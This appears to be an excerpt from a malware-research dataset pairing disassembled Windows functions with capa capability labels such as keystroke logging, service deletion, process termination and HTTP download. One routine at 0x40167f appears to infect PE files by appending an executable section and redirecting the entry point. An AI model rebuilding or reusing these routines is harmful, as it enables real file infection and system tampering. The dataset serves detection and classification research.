joyce8/EMBER2024-capa huggingface dataset:
Function at 0x60e15c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x60e291
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
call sub.user32.dll_IsIconic
test eax, eax
je 0x60e187
push 9
push ebx
call sub.user32.dll_ShowWindow
call sub.user32.dll_GetForegroundWindow
cmp ebx, eax
jne 0x60e199
mov byte [ebp - 1], 1
jmp 0x60e287
call fcn.00438658
cmp eax, 2
jne 0x60e1ad
call fcn.0043866c
cmp eax, 4
jg 0x60e1de
call fcn.00438658
dec eax
jne 0x60e270
call fcn.0043866c
cmp eax, 4
jg 0x60e1de
call fcn.0043866c
cmp eax, 4
jne 0x60e270
call fcn.00438674
test eax, eax
jle 0x60e270
mov byte [ebp - 1], 0
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov esi, eax
push 0
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov edi, eax
push 0xffffffffffffffff
push esi
push edi
call sub.user32.dll_AttachThreadInput
test eax, eax
je 0x60e228
push ebx
call sub.user32.dll_BringWindowToTop
push ebx
call sub.user32.dll_SetForegroundWindow
push 0
push esi
push edi
call sub.user32.dll_AttachThreadInput
call sub.user32.dll_GetForegroundWindow
cmp ebx, eax
sete byte [ebp - 1]
cmp byte [ebp - 1], 0
jne 0x60e27c
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x2000
call sub.user32.dll_SystemParametersInfoW
push 2
push 0
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
push ebx
call sub.user32.dll_BringWindowToTop
push ebx
call sub.user32.dll_SetForegroundWindow
push 2
mov eax, dword [ebp - 8]
push eax
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
jmp 0x60e27c
push ebx
call sub.user32.dll_BringWindowToTop
push ebx
call sub.user32.dll_SetForegroundWindow
call sub.user32.dll_GetForegroundWindow
cmp ebx, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x60e29b
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x60e2a8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040afa0
mov eax, dword [ebp - 8]
call fcn.0040afa0
xor eax, eax
push ebp
push 0x60e370
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x60e347
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x3c
call fcn.004083e0
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0x500
mov eax, 0x60e380
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 4]
call fcn.0040ba0c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 8], 0
je 0x60e329
mov eax, dword [ebp - 8]
call fcn.0040ba0c
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExW
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x60e353
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60e377
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040af0c
pop eax
jmp eax
Function at 0x60e3c4
Capabilities:
Check for time delay via gettickcount
Delete service
Get hostname
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040afa0
xor eax, eax
push ebp
push 0x60e519
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x60e4f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0x10
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x32]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x60e4ed
push 0xf003f
push 0
lea eax, [ebp - 0x32]
push eax
call sub.advapi32.dll_OpenSCManagerW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x60e4ed
xor eax, eax
push ebp
push 0x60e4e6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.0040ba0c
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_OpenServiceW
mov ebx, eax
test ebx, ebx
je 0x60e4cd
lea eax, [ebp - 0x50]
push eax
push ebx
call sub.advapi32.dll_QueryServiceStatus
mov eax, dword [ebp - 0x4c]
sub eax, 2
jb 0x60e47c
lea eax, [ebp - 0x50]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
call sub.kernel32.dll_GetTickCount
mov edi, eax
lea eax, [ebp - 0x50]
push eax
push ebx
call sub.advapi32.dll_QueryServiceStatus
cmp dword [ebp - 0x4c], 1
je 0x60e4b8
push 0x3e8
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x50]
push eax
push ebx
call sub.advapi32.dll_QueryServiceStatus
cmp dword [ebp - 0x4c], 1
je 0x60e4b8
call sub.kernel32.dll_GetTickCount
sub eax, edi
cmp esi, eax
jae 0x60e493
push ebx
call sub.advapi32.dll_DeleteService
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60e4ed
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x60e501
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60e520
lea eax, [ebp - 4]
call fcn.0040aeac
pop eax
jmp eax
Function at 0x611b74
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040afa0
xor eax, eax
push ebp
push 0x611c12
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [edi], 0
mov eax, dword [ebp - 8]
mov byte [eax], 0
mov dword [ebp - 0x20], 1
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerW
mov ebx, eax
test ebx, ebx
jbe 0x611bfa
push 4
mov eax, dword [ebp - 4]
call fcn.0040ba0c
push eax
push ebx
call sub.advapi32.dll_OpenServiceW
mov esi, eax
test esi, esi
jbe 0x611bf4
mov byte [edi], 1
lea eax, [ebp - 0x24]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x611bee
cmp dword [ebp - 0x20], 4
mov eax, dword [ebp - 8]
sete byte [eax]
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x611c19
lea eax, [ebp - 4]
call fcn.0040aeac
pop eax
jmp eax

Function at 0x611c20
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.0040afa0
xor eax, eax
push ebp
push 0x611cda
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerW
mov ebx, eax
test ebx, ebx
jbe 0x611cbb
push 0x24
mov eax, dword [ebp - 4]
call fcn.0040ba0c
push eax
push ebx
call sub.advapi32.dll_OpenServiceW
mov esi, eax
test esi, esi
jbe 0x611cb5
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
test eax, eax
je 0x611caf
lea eax, [ebp - 0x20]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x611caf
jmp 0x611ca9
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x20]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x611caf
cmp edi, dword [ebp - 0xc]
ja 0x611caf
cmp dword [ebp - 0x1c], 1
jne 0x611c8a
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
cmp dword [ebp - 0x1c], 1
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x611ce1
lea eax, [ebp - 4]
call fcn.0040aeac
pop eax
jmp eax
Function at 0x611db4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040afa0
xor eax, eax
push ebp
push 0x611f4e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
call sub.kernel32.dll_GetCurrentProcessId
mov edi, eax
xor edx, edx
mov eax, 2
call fcn.0060bd94
mov esi, eax
mov dword [ebp - 0x234], 0x22c
lea edx, [ebp - 0x234]
mov eax, esi
call fcn.0060bdb4
mov ebx, eax
jmp 0x611f18
cmp edi, dword [ebp - 0x22c]
je 0x611f09
lea eax, [ebp - 0x240]
lea edx, [ebp - 0x210]
mov ecx, 0x104
call fcn.0040bac0
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.00430138
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.0042e944
mov eax, dword [ebp - 0x238]
push eax
lea edx, [ebp - 0x244]
mov eax, dword [ebp - 4]
call fcn.0042e944
mov edx, dword [ebp - 0x244]
pop eax
call fcn.0040be08
je 0x611eee
lea eax, [ebp - 0x24c]
lea edx, [ebp - 0x210]
mov ecx, 0x104
call fcn.0040bac0
mov eax, dword [ebp - 0x24c]
lea edx, [ebp - 0x248]
call fcn.0042e944
mov eax, dword [ebp - 0x248]
push eax
lea edx, [ebp - 0x250]
mov eax, dword [ebp - 4]
call fcn.0042e944
mov edx, dword [ebp - 0x250]
pop eax
call fcn.0040be08
jne 0x611f09
push 0
mov eax, dword [ebp - 0x22c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov dword [ebp - 8], eax
lea edx, [ebp - 0x234]
mov eax, esi
call fcn.0060bdd4
mov ebx, eax
test ebx, ebx
jne 0x611e3d
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x611f55
lea eax, [ebp - 0x250]
mov edx, 7
call fcn.0040af0c
lea eax, [ebp - 4]
call fcn.0040aeac
pop eax
jmp eax
Function at 0x612dc8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x612fb8
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x612dfc
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040b2e4
jmp 0x612e0b
lea edx, [ebp - 4]
mov eax, dword [0x627d30]
mov eax, dword [eax]
call fcn.005ef4f0
mov ecx, 1
mov edx, dword [ebp - 4]
mov eax, 0x612fd4
call fcn.0040bf94
mov ebx, eax
test ebx, ebx
jle 0x612e37
lea eax, [ebp - 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040be40
lea eax, [ebp - 0x20]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040be40
mov eax, dword [ebp - 0x20]
mov edx, 0x612fe4
call fcn.0040be08
jne 0x612e72
lea eax, [ebp - 4]
push eax
mov ecx, 0x7fffffff
mov edx, 3
mov eax, dword [ebp - 4]
call fcn.0040be40
mov ecx, 1
mov edx, dword [ebp - 4]
mov eax, 0x612fe4
call fcn.0040bf94
mov ebx, eax
test ebx, ebx
jle 0x612e9e
lea eax, [ebp - 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040be40
mov ecx, 1
mov edx, dword [ebp - 4]
mov eax, 0x612ff8
call fcn.0040bf94
mov ebx, eax
test ebx, ebx
jle 0x612eca
lea eax, [ebp - 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040be40
mov eax, dword [ebp - 4]
test eax, eax
je 0x612ed4
mov eax, dword [eax - 4]
inc eax
call fcn.00430658
mov ebx, eax
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004303bc
lea eax, [ebp - 0xc]
push eax
push ebx
call sub.version.dll_GetFileVersionInfoSizeW
mov edi, eax
mov eax, dword [ebp - 8]
call fcn.0040aeac
test edi, edi
jle 0x612f91
lea eax, [edi + 1]
call fcn.00430658
mov esi, eax
push esi
push edi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x612f8a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x612ffc
push esi
call sub.version.dll_VerQueryValueW
mov edi, dword [ebp - 0x10]
mov eax, dword [edi + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x18]
shr eax, 0x10
movzx eax, ax
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x3c], 0
movzx eax, word [edi + 8]
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x34], 0
mov eax, dword [ebp - 0x1c]
shr eax, 0x10
movzx eax, ax
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0
movzx eax, word [edi + 0xc]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0
lea edx, [ebp - 0x40]
mov ecx, 3
mov eax, 0x61300c
call fcn.00430814
mov eax, esi
call fcn.00430698
mov eax, ebx
call fcn.00430698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x612fbf
lea eax, [ebp - 0x20]
call fcn.0040aeac
lea eax, [ebp - 4]
call fcn.0040aeac
pop eax
jmp eax
Function at 0x613024
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
mov ebx, 0x640d30
lea esi, [ebp - 0x14]
xor eax, eax
push ebp
push 0x6131e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x613200
call fcn.0040be08
jne 0x61306d
lea eax, [ebp - 4]
mov edx, 0x613210
call fcn.0040b2e4
jmp 0x61307a
lea eax, [ebp - 4]
mov edx, 0x613290
call fcn.0040b2e4
xor eax, eax
push ebp
push 0x6131b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx]
call fcn.004c20e4
push 0
push 0
mov eax, dword [ebx]
call fcn.004bfcd4
push 0
push 0
push 0
push 0
push 0x613304
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 0xc], eax
push 0
push 0
push 3
push 0x613304
push 0x613304
push 0x1bb
mov eax, dword [ebp - 4]
call fcn.0040ba0c
mov edi, eax
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetConnectW
xor eax, eax
push ebp
push 0x6131a5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80000000
push 0
push 0
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x613185
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x613165
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
push 0x400
lea eax, [ebp - 0x415]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
mov cx, 2
xor edx, edx
mov eax, dword [ebx]
mov edi, dword [eax]
call dword [edi + 0x30]
mov ecx, dword [esi]
lea edx, [ebp - 0x415]
mov eax, dword [ebx]
mov edi, dword [eax]
call dword [edi + 0x1c]
cmp dword [esi], 0
jne 0x61311a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x61316c
mov byte [ebp - 0x15], 1
pop eax
jmp eax
Function at 0x4010c1
Capabilities:
Parse pe header

Disassembly:
call 0x401005
pop ebx
sub ebx, 0x404005
call 0x4010c1
call fcn.004010ff
call fcn.00401448
lea esi, [ebx + 0x405657]
push 0x104
push esi
push 0
mov eax, 0x75fc90e0
call eax
lea edi, [ebx + 0x4055a1]
push 0x32
push edi
mov eax, 0x75fcf4b0
call eax
add eax, 0x10
mov dword [ebx + 0x4055e1], eax
lea eax, [ebx + 0x40575b]
push eax
push edi
mov eax, 0x75fcf540
call eax
push esi
push edi
mov eax, 0x75fe9220
call eax
or eax, eax
je 0x40107d
call fcn.00401ff5
call fcn.00402528
call fcn.00402560
push dword [ebx + 0x40564f]
ret
lea eax, [ebx + 0x405565]
push eax
push 0
push 0
mov eax, 0x75fd38c0
call eax
lea eax, [ebx + 0x405059]
push 0
push 0
push ebx
push eax
push 0
push 0
mov eax, 0x75fc9390
call eax
lea eax, [ebx + 0x404486]
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [ebx + 0x4040a0]
call fcn.00401808
mov edi, dword [esp + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x4010e1
mov esi, edi
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
jne 0x4010e1
jmp 0x4010f8
sub edi, 0x10000
cmp edi, 0x70000000
jae 0x4010f6
mov edi, 0xbff70000
jmp 0x4010f8
jmp 0x4010cb
mov dword [ebx + 0x405653], edi
ret
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x75fd3a80
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x75fc6d80
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x75fc7b30
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x40564f], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a54
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x75fd3ec0
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x75fd3f20
call eax
push dword [ebp - 0xc]
mov eax, 0x75fc89a0
call eax
push dword [ebp - 8]
call dword [ebx + 0x405592]
push dword [ebp - 4]
call dword [ebx + 0x405592]
popal
leave
ret 4
Function at 0x401077
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, 0x44fb40
mov ecx, edi
call fcn.004017f6
mov esi, eax
test esi, esi
js 0x401139
push 0x43d420
push dword [ebp + 0xc]
call fcn.004215ba
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x401139
push 0
push dword [ebp + 8]
mov ecx, edi
call fcn.0040184b
mov dword [ebp - 8], eax
test eax, eax
jne 0x4010c9
or eax, 0xffffffff
jmp 0x40113c
push 0x8000
call fcn.0041d07f
mov dword [ebp - 4], eax
pop ecx
test esi, esi
je 0x401117
jmp 0x4010e0
mov eax, dword [ebp - 4]
mov ecx, 0x8000
cmp esi, ecx
mov edi, ecx
mov ecx, 0x44fb40
cmovl edi, esi
push edi
push eax
push dword [ebp - 8]
call fcn.00401a10
push ebx
push edi
push 1
push dword [ebp - 4]
call fcn.00421809
add esp, 0x10
cmp eax, edi
jl 0x401112
sub esi, edi
jne 0x4010dd
mov edi, 0x44fb40
push dword [ebp - 8]
mov ecx, edi
call fcn.004017cd
push ebx
call fcn.00421479
push dword [ebp - 4]
call fcn.0041ca33
pop ecx
pop ecx
test esi, esi
jne 0x401139
xor eax, eax
jmp 0x40113c
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406128
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
or ecx, 0xffffffff
cmp dword [ebp + 0xc], edx
jle 0x406153
push esi
mov esi, dword [ebp + 8]
movsx eax, byte [edx + esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x43d4c0]
inc edx
cmp edx, dword [ebp + 0xc]
jl 0x406139
pop esi
not ecx
mov eax, ecx
pop ebp
ret 8

Function at 0x408e10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.00408ec5
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x408e2c
or eax, 0xffffffff
jmp 0x408e4e
push esi
push edi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.00421809
push edi
mov esi, eax
call fcn.00421479
add esp, 0x14
call fcn.00425168
mov eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x408f0a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x408f38
cmp dword [ebp + 0xc], 0
je 0x408f38
cmp dword [ebp + 0x10], 0
jg 0x408f23
xor eax, eax
pop ebp
ret
push dword [ebp + 8]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.004253d4
add esp, 0x10
pop ebp
ret
or eax, 0xffffffff
pop ebp
ret
Function at 0x40e617
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0041d510
push esi
push edi
call fcn.00404cd6
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.0041d17d
lea ecx, [ebp - 4]
push ecx
push eax
call fcn.00408df8
push dword [ebp - 4]
lea eax, [edi + 0x368]
push eax
call fcn.0040a6dc
lea eax, [ebp - 4]
push eax
call fcn.00408e05
add esp, 0x18
lea eax, [ebp - 0x1004]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x20
lea eax, [ebp - 0x2004]
push eax
lea eax, [ebp - 0x1004]
push eax
call fcn.0041d006
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2004]
push eax
call fcn.00408df8
push dword [ebp - 4]
lea esi, [edi + 0x338]
push esi
call fcn.0040a6dc
push 0x5c
push dword [esi]
call fcn.0041cb20
push dword [esi]
lea eax, [edi + 0x384]
push eax
call fcn.0040a6dc
push str.hsptv_
push dword [esi]
call fcn.00421880
lea eax, [ebp - 4]
push eax
call fcn.00408e05
push dword [esi]
lea eax, [edi + 0x388]
push eax
call fcn.0040a6dc
add esp, 0x40
pop edi
pop esi
leave
ret

Function at 0x40f57e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov ecx, dword [ebp + 0x10]
mov eax, ecx
shl eax, 2
push ebx
push esi
mov esi, dword [ebp + 0xc]
not eax
xor ebx, ebx
and eax, 8
or eax, 2
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp byte [esi], bl
je 0x40f610
push 0x3c
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.0041eb90
lea eax, [ebp - 4]
mov dword [ebp - 0x44], 0x3c
push eax
push esi
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x3c], ebx
call fcn.00408df8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.00408df8
add esp, 0x1c
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x28], 1
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
lea eax, [ebp - 4]
push eax
je 0x40f682
call fcn.00408e05
lea eax, [ebp - 8]
push eax
call fcn.00408e05
pop ecx
pop ecx
jmp 0x40f67e
push eax
test cl, 0x10
je 0x40f636
mov eax, 0x43d43e
push eax
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408df8
pop ecx
pop ecx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40f66d
test cl, 0x20
je 0x40f658
mov eax, 0x43d43e
push eax
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408df8
pop ecx
pop ecx
push eax
push str.print
jmp 0x40f62d
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408df8
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
lea eax, [ebp - 4]
push eax
call fcn.00408e05
pop ecx
cmp esi, 0x20
jl 0x40f692
pop esi
pop ebx
leave
ret
call fcn.00408e05
lea eax, [ebp - 8]
push eax
call fcn.00408e05
pop ecx
pop ecx
push 0x44c354
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0xe
push eax
call fcn.0041ed6c
int3